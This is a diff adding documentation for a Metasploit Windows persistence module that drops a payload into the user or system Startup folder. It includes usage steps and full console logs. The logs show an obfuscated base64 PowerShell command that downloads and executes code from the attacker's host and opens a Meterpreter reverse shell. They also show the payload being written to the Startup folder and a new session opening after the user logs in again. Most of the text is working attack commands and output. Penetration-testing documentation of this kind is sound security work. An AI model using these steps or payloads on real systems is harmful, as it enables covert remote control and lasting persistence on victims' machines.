|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module establishes persistence by creating a payload in the user or system startup folder. |
| 4 | +Works on Vista and newer systems. |
| 5 | + |
| 6 | +## Verification Steps |
| 7 | +Example steps in this format (is also in the PR): |
| 8 | + |
| 9 | +1. get session on target with admin/system privs |
| 10 | +2. `use exploit/windows/persistence/startup_folder` |
| 11 | +3. `set payload <payload>` |
| 12 | +4. `set lport <lport>` |
| 13 | +5. `set lhost <lhost>` |
| 14 | +6. `exploit` |
| 15 | + |
| 16 | +## Options |
| 17 | + |
| 18 | +### PAYLOAD_NAME |
| 19 | + |
| 20 | +Name of payload file to write. Random string as default. |
| 21 | + |
| 22 | +### CONTEXT |
| 23 | + |
| 24 | +Target current User or All Users (system). Defaults to `USER`. Choices are |
| 25 | +`USER` which installs just to that user's startup folder. `SYSTEM` installs |
| 26 | +to the system default startup folder which effects all users. |
| 27 | + |
| 28 | +## Scenarios |
| 29 | + |
| 30 | +### Windows 10 1909 (10.0 Build 18363) |
| 31 | + |
| 32 | +Initial Payload |
| 33 | + |
| 34 | +``` |
| 35 | +resource (/root/.msf4/msfconsole.rc)> setg verbose true |
| 36 | +verbose => true |
| 37 | +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 |
| 38 | +lhost => 1.1.1.1 |
| 39 | +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp |
| 40 | +payload => cmd/linux/http/x64/meterpreter/reverse_tcp |
| 41 | +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery |
| 42 | +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp |
| 43 | +resource (/root/.msf4/msfconsole.rc)> set target 2 |
| 44 | +target => 2 |
| 45 | +resource (/root/.msf4/msfconsole.rc)> set srvport 8085 |
| 46 | +srvport => 8085 |
| 47 | +resource (/root/.msf4/msfconsole.rc)> set uripath w2 |
| 48 | +uripath => w2 |
| 49 | +resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp |
| 50 | +payload => windows/x64/meterpreter/reverse_tcp |
| 51 | +resource (/root/.msf4/msfconsole.rc)> set lport 4449 |
| 52 | +lport => 4449 |
| 53 | +resource (/root/.msf4/msfconsole.rc)> run |
| 54 | +[*] Exploit running as background job 0. |
| 55 | +[*] Exploit completed, but no session was created. |
| 56 | +[*] Started reverse TCP handler on 1.1.1.1:4449 |
| 57 | +[*] Using URL: http://1.1.1.1:8085/w2 |
| 58 | +[*] Server started. |
| 59 | +[*] Run the following command on the target machine: |
| 60 | +powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABzAFIANAA0AEsAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAcwBSADQANABLAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAcwBSADQANABLAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwAyADAAdAB3AGYAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA= |
| 61 | +msf exploit(multi/script/web_delivery) > |
| 62 | +[*] 2.2.2.2 web_delivery - Powershell command length: 3682 |
| 63 | +[*] 2.2.2.2 web_delivery - Delivering Payload (3682 bytes) |
| 64 | +[*] Sending stage (230982 bytes) to 2.2.2.2 |
| 65 | +[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:50883) at 2025-10-27 15:10:44 -0400 |
| 66 | +
|
| 67 | +msf exploit(multi/script/web_delivery) > sessions -i 1 |
| 68 | +[*] Starting interaction with 1... |
| 69 | +
|
| 70 | +meterpreter > sysinfo |
| 71 | +Computer : WIN10PROLICENSE |
| 72 | +OS : Windows 10 1909 (10.0 Build 18363). |
| 73 | +Architecture : x64 |
| 74 | +System Language : en_US |
| 75 | +Domain : WORKGROUP |
| 76 | +Logged On Users : 2 |
| 77 | +Meterpreter : x64/windows |
| 78 | +meterpreter > getuid |
| 79 | +Server username: WIN10PROLICENSE\windows |
| 80 | +meterpreter > background |
| 81 | +[*] Backgrounding session 1... |
| 82 | +``` |
| 83 | + |
| 84 | +Persistence |
| 85 | + |
| 86 | +``` |
| 87 | +msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/startup_folder |
| 88 | +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp |
| 89 | +msf exploit(windows/persistence/startup_folder) > set session 1 |
| 90 | +session => 1 |
| 91 | +msf exploit(windows/persistence/startup_folder) > set payload windows/meterpreter/reverse_tcp |
| 92 | +payload => windows/meterpreter/reverse_tcp |
| 93 | +msf exploit(windows/persistence/startup_folder) > recheck |
| 94 | +[*] Reloading module... |
| 95 | +[*] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
| 96 | +msf exploit(windows/persistence/startup_folder) > exploit |
| 97 | +[*] Exploit running as background job 1. |
| 98 | +[*] Exploit completed, but no session was created. |
| 99 | +msf exploit(windows/persistence/startup_folder) > |
| 100 | +[*] Started reverse TCP handler on 1.1.1.1:4444 |
| 101 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 102 | +[+] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
| 103 | +[+] Writing payload to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zugyndszf.exe |
| 104 | +[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zugyndszf.exe |
| 105 | +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251027.1534/WIN10PROLICENSE_20251027.1534.rc |
| 106 | +``` |
| 107 | + |
| 108 | +Logout and back in as user 'windows' |
| 109 | + |
| 110 | +``` |
| 111 | +msf exploit(windows/persistence/startup_folder) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died |
| 112 | +
|
| 113 | +[*] Sending stage (188998 bytes) to 2.2.2.2 |
| 114 | +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:50916) at 2025-10-27 15:16:21 -0400 |
| 115 | +msf exploit(windows/persistence/startup_folder) > sessions -i 2 |
| 116 | +[*] Starting interaction with 2... |
| 117 | +
|
| 118 | +meterpreter > getuid |
| 119 | +Server username: WIN10PROLICENSE\windows |
| 120 | +``` |
0 commit comments